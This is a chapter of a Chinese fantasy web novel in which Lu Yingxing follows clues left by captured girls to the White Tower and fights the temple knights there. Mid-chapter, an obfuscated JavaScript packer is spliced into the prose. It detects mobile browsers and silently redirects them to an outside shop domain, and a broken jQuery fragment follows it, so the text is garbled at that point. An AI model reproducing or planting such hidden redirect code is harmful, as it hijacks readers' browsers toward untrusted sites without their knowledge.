陆英行追着车辙一路跟踪,对方想必根本也没打算隐藏行踪,车辙笔直向前延伸。
然而转过几个拐弯,离开了这片街区后,道路渐渐不再由泥土铺成,车辙的印记就浅了。陆英行停下来,在街道中心举目四望。
怒火虽然在心中燃烧,但头脑需要保持冷静。陆英行问自己,如果是哥哥在这里,如果是淮先生在这里,他们会怎么做。
寻找一些蛛丝马迹——这车辙不浅,要承担这样的重量,车身肯定不小,小巷容纳不了,而且一旦重了,转向就会比较困难,最好选直道而行。也不会选光明大路,万一有人闹起来,节外生枝。应当是较为平稳的、街道相对宽敞、道路整洁,但相对黑暗——或者有路灯坏掉的路。
驾车者也应当比较有经验,做这样的事情手段娴熟,可见做过不止一回,那么估计有固定道路。
他纵身而上,站在高处,观察四处街道,目光如鹰穿梭在大街小巷。这并不是一次令人愉悦的巡视,他看到许多发生在暗处的罪孽,令他有冲动去帮个忙。可是他知道不行,他首要任务是救出瓦尔加和茉丝她们,一群少女会遭遇什么,他都不用想。
有了,他锁定一条路,目光延伸,这条路长直道多,两边都是居民区,这时候基本都睡了,灯光暗淡,几乎只有月光照亮。
他轻盈的一跃而下,随手拿过一户人家放在窗外的花盆,顺手砸在一个在抢劫现行犯头上,那个人头上顶着泥土和盛开的玫瑰花倒下来,而受害者看着他,一声都不会吭了。陆英行把她的手袋拾起来还给她。
一尊神像微笑着看着这一幕,陆英行抬头看一眼面目模糊的铜雕塑,却在雕塑飘扬的衣角上发现了一条褴褛的布条摇摇欲坠的勾在上头,下一秒就被风吹落了,正好落在他脚边。
一组符号写在上面,模模糊糊的,字迹又浅。但是陆英行瞳孔扩大了。
这是瓦尔加的字迹,写的是九九乘法表,正是三三得九一行。
她们确实路过了这里,而且这时候起码瓦尔加醒过来了,在想办法给他们留下信息救人。
他二话不说,向前狂奔,路上又看到了一条七九六十三,像是茉丝的字迹。
前方越来越明亮,陆英行却停住了。
他站在道路的末尾,遥望着这条路的尽头。
光朦胧的在尽头涌动,隔着街道和建筑蔓延过来,这片已经是富贵人家活动的区域,明亮了许多,但是那座楼还是让陆英行眼熟。
看那洁白的圆顶,上头一圈姿态旖旎的雕塑,镶嵌着的宝石在夜里的灯火中闪闪发光,正是白楼,他和应宣第一次来到此地降临的所在。
车是往那去的。
陆英行发足飞奔,确认这道路尽头应当是白楼的一座小角门,因为他在门口的铁栏杆上看到了最后一条布条,正是九九八十一,应宣昨晚才教的,这布条是一团皱巴巴的白亚麻布,正是茉丝洗破了的那件白亚麻袍子。
陆英行可以选择从背后进去寻访,十有八九会有个地窖或者暗室什么的,但他懒得这么做。
时间,他要争取时间。
于是他绕到正门,抬头看一眼这座洁白如雪的建筑,飘过一个念头:白色不好,容易弄脏。
白楼的大总管穿过走廊,正遇到骑士长,对他行了个礼:“大祭司冕下正在祈祷吗?“
骑士长颔首,没有多说话。这条走廊里装满了镶嵌着彩色玻璃的镜面,把他们俩的身影折射的七零八落。
每次陛下驾临白楼,大祭司冕下一般都会跟随,因此白楼有静室给她处理日常事务和冥想祷告。
“也许您还是等会再去找大祭司吧,”骑士长多说了一句,“她刚开始冥想。”
白楼老板点点头,于是他折返,与骑士长并肩而行,没走几步,大总管就看到匆匆而来的手下,对方扑过来在他耳边说了两句,他变了脸色,先让属下离开,自己站住思考。
陛下来的时候,有时候会跟着一群贵族,今夜倒是没有,除了大祭司,她身边没有跟着别人了。
——因此即使有什么来历不明的闯入者在一楼闹得天翻地覆,那里也最多是些商人,没什么权贵,那就不算要紧。但是陛下和大祭司在,最好不要打扰她们的雅兴。
所以大总管得出结论:加派人手,不能惊动陛下和冕下。
于是他转身,对骑士长恭敬地请求,是不是可以派人去支援白楼的护卫队。
他微微低头,但是还是在镜面的反射里看到骑士长下意识的瞥了一眼花园的方向。花园里有什么值得骑士长注意的吗?疑惑在一瞬间飘过了大总管的大脑,但是他忽略了这个疑惑,他目前最紧要的任务是确保一楼的那个杀星不会往里走,打扰到贵人们的雅兴。
他本来以为骑士长要拒绝,结果对方居然很顺畅就答应了,还非常热情礼貌:“我与您一起去,我们多派些人,不可以惊扰到陛下和冕下。”
意外之喜?老板从没意识到圣殿的骑士们这么好说话,不过这位骑士长在骑士团的诸位分队骑士长里一向是有虔诚正直的名声的,也许就是因此他如此乐于助人。
“陛下在花园里,”骑士长说,“咱们快把骚乱在前楼解决。”
陆英行用的是剑。
上次奈芙与帕拉海姆之神打过后,曾警告过他们小心些,不要引起神的注意,最好克制自己使用力量。而且,陆英行觉得解决一些杂鱼并不用他施展光明火的。
现在,白楼雪白的墙壁和天花板斑驳,并不全是血,倒是淅淅沥沥的红酒占了多数。
就说白色容易脏,打起架来不方便,陆英行小时候看电视剧总看大侠白衣飘飘,自己也很向往,现在觉得大概那些人都是真气打来打去,才能做到最多远距离吐口血,不会弄脏衣服。就像他,如果他现在选择用光明火把这里烧了,自然也可以站得远远的,也不会弄脏他的衣服的。
可是,他想,用光明火他们都会死。一楼这些人还罪不至死。
那他只好弄脏衣服,幸好今天这身很普通,脏污破损了也不心疼。
“人在哪里?”他拄着剑,站在乱糟糟的大厅中央问。
“什么人?不知道你在说什么。”持剑的卫士逐渐后退,但还是嘴硬,也可能是真不知道。于是陆英行不耐烦起来,挥剑砍断了一根柱子,柱子上半部分缓缓倾倒,砸塌了一座金座钟,里头的弹簧鸟弹出来高歌了一曲颂神歌,叽叽喳喳,相当清脆。
“那叫知道的人来见我。”陆英行嫌烦,亲自走过去,把鸟揪住,第一下还没揪下来,金属小鸟断断续续的还在唱,他悄悄在手心点燃火焰,那青铜鸟在他手心融化了,滴滴哒哒的落在地上。
已经有管事的飞奔着向楼上去了,陆英行瞥见了,知道大概一会儿人就来了。果然没过多久,来了里三层外三层的增援,密密匝匝人头,人人都是白袍金甲,武器明光闪闪。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17778283|207003||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
陆英行看着他们,认识这些装束,看得出他们都是圣殿骑士团,保护安洁莉娅和洛耶的。
看来今晚另外有两位老熟人在这里。
增援们分开了,一位金发骑士越众而出,手里的长剑指着陆英行。
“跪下忏悔吧,我神将会在你死后饶恕你罪恶的灵魂!”这人说,声音挺好听的,很适合唱赞美诗。
陆英行心里发笑:此人若是得知他们圣殿最高领导者大祭司洛耶曾如何在奈芙威压下情不自禁战栗……他自己那时候就站在奈芙身后,看着洛耶雪白脖颈,其上筋脉跳的很快。
他有点累,愈发懒得说话了,足尖一点,手中长剑向前,白芒横扫。
没有用光明之力,对付他们还用不着。
七七八八的骑士倒下了,陆英行在心里数着数量,手中剑芒却遇到阻碍。
他的纵跃被挡住了,他居高临下看一眼,居然是骑士长举剑拦住了他,一双眼睛坚定地看着他,丝毫不后退。
陆英行落地,有点惊讶,这个人拦住了他这一招,马修曾经说过这样的战士意志坚定,十分难缠,对战的时候,不能速战速决就会陷入缠斗,十分浪费体力。
得想个别的办法,找个软柿子捏。
陆英行瞥见躲在骑士们后面的人。相貌堂堂,风度翩翩,举手投足是有权威气质的。这种人他十分眼熟,在淮先生周围向来围着许多这样的人。
看来他就是白楼的管理者了,在这种场合他不该来的,天选软柿子送上门来,不要白不要。
电光火石间,陆英行琢磨起来:柿子要成熟了,柿饼该怎么做来着?做好了给奈芙送点回去吧,省得她想念自己的手艺。
白楼大总管也不傻,看着陆英行在骑士长头盔上踩一脚,就冲他而来,转身就跑!
他的目标是花园,花园里有陛下和其他的圣殿骑士团成员,最安全了!生命安全此时超越了“打扰陛下“的恐惧,成为了他的第一要务。
骑士长看到他撵着大总管往花园跑,看起来比自己被攻击还着急。
陆英行居然感到自己被缠住了,回头一看,骑士长一脸坚毅的表情,手里一样闪闪发光的东西——他见过,洛耶用过的一条月光绳,没想到这个人也能用?
这骑士长还挺厉害?
但是他用的不如洛耶好,陆英行手中光明火点燃,那条银色的绳子寸寸燃断,骑士长露出不可思议神情,陆英行不理他,继续追。
可是骑士长这回用了物理招数——他情急之下,把陆英行刚刚砍断的柱子一滚,推过来,陆英行听到声音,不得不跳上窗棂躲避,想一想,干脆数拳打穿天花板,爬到二楼去,打算抢占高处,谁知道这个骑士长也很灵敏,他已经抓着窗帘往上爬了,手里还有半截绳子。
真是好麻烦啊……陆英行只好使用点儿光明之力了,眼看着老板逃进了后花园,他手中抛出一道银光,照亮前路,并打算顺便打晕老板。
与此同时,他从二楼跳下去,自己也打算追上。
银光照亮了半途,然而突然不见了,就好像大雨落进了河流。
陆英行已经落在了草坪上,眼前突然不见了自己的明光,而脑后,那熟悉的光芒又出现了,闪烁不止。
这个世界上还有人能截停他的光明火?
他情不自禁露出了笑容,又立刻担心起来:衣服这样脏,奈芙会不会嫌弃他不够英俊了?